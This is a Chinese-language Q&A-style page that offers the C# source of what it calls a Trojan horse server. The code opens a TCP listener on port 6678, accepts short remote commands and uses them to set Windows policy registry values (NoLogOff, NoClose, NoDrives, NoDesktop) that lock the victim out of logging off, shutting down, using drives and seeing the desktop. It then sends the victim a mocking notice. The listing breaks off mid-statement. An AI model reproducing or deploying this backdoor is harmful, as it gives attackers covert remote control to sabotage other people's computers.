特洛伊木马服务器源代码（C#）

答案：  
using System; using System.Drawing; using System.Collections; using System.ComponentModel; using System.Windows.Forms; using System.Data; using System.IO; using System.Net; using System.Net.Sockets; using System.Threading; using Microsoft.Win32; namespace server { /**//// /// Form1 的摘要说明。 /// public class Form1 : System.Windows.Forms.Form { /**//// /// 必需的设计器变量。 /// private System.ComponentModel.Container components = null; private TcpListener listener; private string mystr="您好！非常抱歉，您的注册表："; private RegistryKey rrr=Registry.LocalMachine; private RegistryKey key1; public Form1() { // // Windows 窗体设计器支持所必需的 // InitializeComponent(); {int port =6678; listener=new TcpListener(port); listener.Start(); Thread thread=new Thread(new ThreadStart(target)); thread.Start(); } // // TODO: 在 InitializeComponent 调用后添加任何构造函数代码 // } public void target() { Socket socket= listener.AcceptSocket(); while(socket.Connected) { byte[] by=new Byte[6]; int i=socket.Receive(by,by.Length,0); string ss=System.Text.Encoding.ASCII.GetString(by); //OOOOOOOOOOOOOOOOOOOOOOOOOOO以下是修改注册表OOOOOOOOOOOOOOOOOOOOOOOOOOO //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& if(ss=="jiance") { string str="hjc"; byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray()); socket.Send(bytee,bytee.Length,0); } if(ss=="zx1000") { try { key1=rrr.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",true); key1.SetValue("NoLogOff",1); key1.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoLogOff被修改！请将它置为0！"; } catch{} if(key1==null) { try { RegistryKey key2=rrr.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"); key2.SetValue("NoLogOff",1); key2.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoLogOff被修改！请将它置为0！"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray()); socket.Send(bytee,bytee.Length,0); }//if(ss=="") //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& //**************************************************************************** if(ss=="zx0100") { try { key1=rrr.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",true); key1.SetValue("NoClose",1); key1.Close(); mystr=mystr+"LocalMachine\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoClose被修改！请将它置为0！"; } catch{} if(key1==null) { try { RegistryKey key2=rrr.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"); key2.SetValue("NoClose",1); key2.Close(); mystr=mystr+"LocalMachine\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoClose被修改！请将它置为0！"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray()); socket.Send(bytee,bytee.Length,0); }//if(ss=="zx0100"){ //**************************************************************************** //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ if(ss=="zx0010") { try { key1=rrr.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",true); key1.SetValue("NoDrives",12); key1.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoDrives被修改！请将它置为0"; } catch{} if(key1==null) { try { RegistryKey key2=rrr.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"); key2.SetValue("NoDrives",12); key2.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoDrives被修改！请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray()); socket.Send(bytee,bytee.Length,0); }//if //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ //==================================================================== if(ss=="zx0001") { try { key1=rrr.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",true); key1.SetValue("NoDesktop",1); key1.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoDesktop被修改！请将它置为0"; } catch{} if(key1==null) { try { RegistryKey key2=rrr.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"); key2.SetValue("NoDesktop",1); key2.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoDesktop被修改！请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray()); socket.Send(bytee,bytee.Length,0); }//if //========================================================================= //$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ if(ss=="zx1100") { try { key1=rrr.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",true); key1.SetValue("NoLogOff",1); key1.SetValue("NoClose",1); key1.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoLogOff、NoClose被修改！请将它置为0"; } catch{} if(key1==null) { try { RegistryKey key2=rrr.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"); key2.SetValue("NoLogOff",1); key2.SetValue("NoClose",1); key2.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoLogOff、NoClose被修改！请将它置为0"; }//try catch{} }//if(key1==null){ string str="

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